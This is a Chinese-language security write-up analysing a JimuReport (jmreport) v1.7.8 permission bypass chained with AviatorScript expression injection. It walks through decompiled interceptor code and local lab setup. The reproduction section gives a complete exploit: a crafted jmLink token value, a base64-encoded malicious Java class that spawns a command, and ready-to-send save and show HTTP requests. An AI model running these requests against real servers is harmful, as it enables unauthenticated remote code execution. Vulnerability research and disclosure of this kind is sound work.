一、漏洞简介
积木报表(jmreport)存在权限绕过漏洞,攻击者可以通过绕过权限访问存在漏洞的接口,并利用AviatorScript表达式注入完成漏洞利用。
二、影响版本
测试版本:v1.7.8(低版本可能存在不同程度的限制)
三、漏洞分析
权限绕过
在jmreport 1.6版本之后,引入了权限限制。然而,这个漏洞首先需要绕过权限拦截器的判断。
org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor#preHandle
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (!(handler instanceof HandlerMethod)) {
return true;
} else {
String var4 = d.i(request.getRequestURI().substring(request.getContextPath().length()));
log.debug("JimuReportInterceptor check requestPath = " + var4);
int var5 = 500;
if (n.a(var4)) {
log.error("请注意,请求地址有xss攻击风险!" + var4);
this.backError(response, "请求地址有xss攻击风险!", var5);
return false;
} else {
String var6 = this.jmBaseConfig.getCustomPrePath();
log.debug("customPrePath: {}", var6);
if (j.d(var6) && !var6.startsWith("/")) {
var6 = "/" + var6;
}
request.setAttribute("customPrePath", var6);
HandlerMethod var7 = (HandlerMethod)handler;
Method var8 = var7.getMethod();
if (var4.contains("/jmreport/shareView/")) {
return true;
} else {
JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class);
if (j.d(var9)) {
return true;
} else {
boolean var10 = false;
try {
var10 = this.verifyToken(request);
} catch (Exception var14) {
}
if (!var10) {
if (this.jimuReportShareService.isSharingEffective(var4, request)) {
return true;
} else {
String var16 = request.getParameter("previousPage");
if (j.d(var16)) {
if (this.jimuReportShareService.isShareingToken(var4, request)) {
return true;
} else {
log.error("分享链接失效或分享token不匹配(" + request.getMethod() + "):" + var4);
this.backError(response, "分享链接失效或分享token不匹配,禁止钻取!", var5);
return false;
}
} else {
log.error("Token校验失败!请求无权限(" + request.getMethod() + "):" + var4);
this.backError(response, "Token校验失败,无权限访问!", var5);
return false;
}
}
} else {
b var15 = (b)var8.getAnnotation(b.class);
if (var15 != null) {
String[] var11 = var15.a();
String[] var12 = this.jimuTokenClient.getRoles(request);
if (var12 == null || var12.length == 0) {
log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4);
if ("/jmreport/loadTableData".equals(var4)) {
var5 = GEN_TEST_DATA_CODE;
}
this.backError(response, NO_PERMISSION_PROMPT_MSG, var5);
return false;
}
boolean var13 = Arrays.stream(var12).anyMatch((code) -> {
return j.a(code, var11);
});
if (!var13) {
log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4);
if ("/jmreport/loadTableData".equals(var4)) {
var5 = GEN_TEST_DATA_CODE;
}
this.backError(response, NO_PERMISSION_PROMPT_MSG, var5);
return false;
}
}
return true;
}
}
}
}
}
}
权限校验的大致逻辑包括:
- 检查请求路径是否包含空格(防止XSS攻击)
- 检查路径是否以
/jmreport/shareView/
开头 - 检查请求的Controller是否存在
JimuNoLoginRequired
注解 - 进行
verifyToken
验证(可以通过org.jeecg.common.util.TokenUtils#verifyToken
或自定义代码实现)
org.jeecg.modules.jmreport.desreport.service.a.f#isShareingToken
如果verifyToken
验证不通过,则进行分享token的验证。只要传入的jmLink=YWFhfHxiYmI=
读取的token不在数据库中且访问路径不是以/jmreport/view
开头,就会返回true,从而绕过权限验证。
AviatorEvaluator表达式注入
利用此漏洞的接口为报表保存和查看接口,通过save
接口保存aviator表达式,然后在show
接口触发利用:
POST /jeecg-boot/jmreport/save
org.jeecg.modules.jmreport.desreport.service.a.e#saveReport
POST /jeecg-boot/jmreport/show
org.jeecg.modules.jmreport.desreport.service.a.e#show
关于aviator表达式注入是郁离歌师傅2021年公开的,自身了解不多,只是简单说下利用手段,后续可深入在分析下;
There is a critical expression injection RCE vulnerability in this expression engine(该表达式引擎存在表达式注入漏洞) · Issue #421 · killme2008/aviatorscript (github.com)
aviator表达式时可以直接new对象,但是不允许调用非public static的方法。可以使用BCELClassloader加载BCEL编码的形式完成RCE。whoopsunix师傅文章对高版本spring框架做了利用。
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
evaluator.execute("xxxxxxxx");
最终的sink点:
com.googlecode.aviator.BaseExpression#execute(java.util.Map<java.lang.String,java.lang.Object>)
跟踪路径
org.jeecg.modules.jmreport.desreport.service.a.e#show
org.jeecg.modules.jmreport.desreport.express.ExpressUtil#a(com.alibaba.fastjson.JSONObject)
org.jeecg.modules.jmreport.desreport.express.a#a(com.alibaba.fastjson.JSONObject)
org.jeecg.modules.jmreport.desreport.express.ExpressUtil#a(org.jeecg.modules.jmreport.desreport.express.b)
四、准备工作
windows下mysql重新部署导致浪费了很多时间
-
windows下mysql服务启动
-
按下
Win + R
键,输入services.msc
并按回车,打开服务管理器。 - 在服务列表中找到
MySQL
服务。 - 检查服务的状态,如果服务被禁用,请右键点击该服务,选择“属性”。
-
在“启动类型”下拉菜单中选择“自动”或“手动”,然后点击“应用”并启动服务。
-
sql脚本运行
直接使用idea的数据库进行执行脚本
- 项目启动
使用jdk8启动,修改mysql配置文件,设置对应密码;
-
线上模式
若开启线上模式需要token验证,需要集成相关代码,可以考虑使用jeecgboot项目,并开启Redis数据库
jeecgboot部署文档:
IDEA启动项目 - JeecgBoot 文档中心
如果遇到MySQL的访问权限错误,可以通过以下SQL语句授权后重启MySQL服务:
localhost设置
因为账户原因报错:Access denied for user 'root'@'localhost' (using password: YES)
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;
FLUSH PRIVILEGES;
之后重启服务
net stop mysql
net mysql start
redis-service.exe
之后分别启动前端和后端代码
访问http://localhost:3100/即可
五、漏洞复现
- 准备恶意类,编译为class文件后转换为base64字符串
import java.io.IOException;
public class evil{
static {
System.out.println("static Exec");
try {
Runtime.getRuntime().exec("cmd /c calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
System.out.println("over");
}
public evil() {
// Empty constructor
}
}
- 传入save接口请求包
POST /jeecg-boot/jmreport/save HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
{"designerObj":{"id":"982136216903729152","name":"1111","type":"datainfo"},"name":"sheet1","freeze":"A1","freezeLineColor":"rgb(185, 185, 185)","styles":[],"displayConfig":{},"printConfig":{"paper":"A4","width":210,"height":297,"definition":1,"isBackend":false,"marginX":10,"marginY":10,"layout":"portrait","printCallBackUrl":""},"merges":[],"rows":{"0":{"cells":{"0":{"text":" =(use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('evil', Base64Utils.decodeFromString('yv66vgAAADQAMwoADQAXCQAYABkIABoKABsAHAoAHQAeCAAfCgAdACAHACEHACIKAAkAIwgAJAcAJQcAJgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAg8Y2xpbml0PgEADVN0YWNrTWFwVGFibGUHACEBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZhDAAOAA8HACcMACgAKQEAC3N0YXRpYyBFeGVjBwAqDAArACwHAC0MAC4ALwEAC2NtZCAvYyBjYWxjDAAwADEBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAA4AMgEABG92ZXIBAARldmlsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAMAA0AAAAAAAIAAQAOAA8AAQAQAAAAIQABAAEAAAAFKrcAAbEAAAABABEAAAAKAAIAAAAOAAQAEAAIABIADwABABAAAABsAAMAAQAAACeyAAISA7YABLgABRIGtgAHV6cADUu7AAlZKrcACr+yAAISC7YABLEAAQAIABEAFAAIAAIAEQAAAB4ABwAAAAUACAAHABEACgAUAAgAFQAJAB4ACwAmAAwAEwAAAAcAAlQHABQJAAEAFQAAAAIAFg=='), ClassLoader.getSystemClassLoader());)"}}},"len":100},"cols":{"len":50},"validations":[],"autofilter":{},"dbexps":[],"dicts":[],"loopBlockList":[],"zonedEditionList":[],"fixedPrintHeadRows":[],"fixedPrintTailRows":[],"rpbar":{"show":true,"pageSize":"","btnList":[]},"hiddenCells":[],"hidden":{"rows":[],"cols":[]},"background":false,"area":false,"dataRectWidth":100,"excel_config_id":"982136216903729152","pyGroupEngine":false}
- show接口漏洞触发
POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI= HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 27
{"id":"982136216903729152"}
六、总结
关于Aviator表达式注入还有很多需要学习分析的点,漏洞缓解措施可以参考相关文章。环境搭建需要多多实践,特别是jeecgboot项目的部署。
本文主要参考了以下链接:
https://github.com/jeecgboot/JeecgBoot/issues/7014
[结合 Jimureport 的某个漏洞披露看 Aviator 表达式注入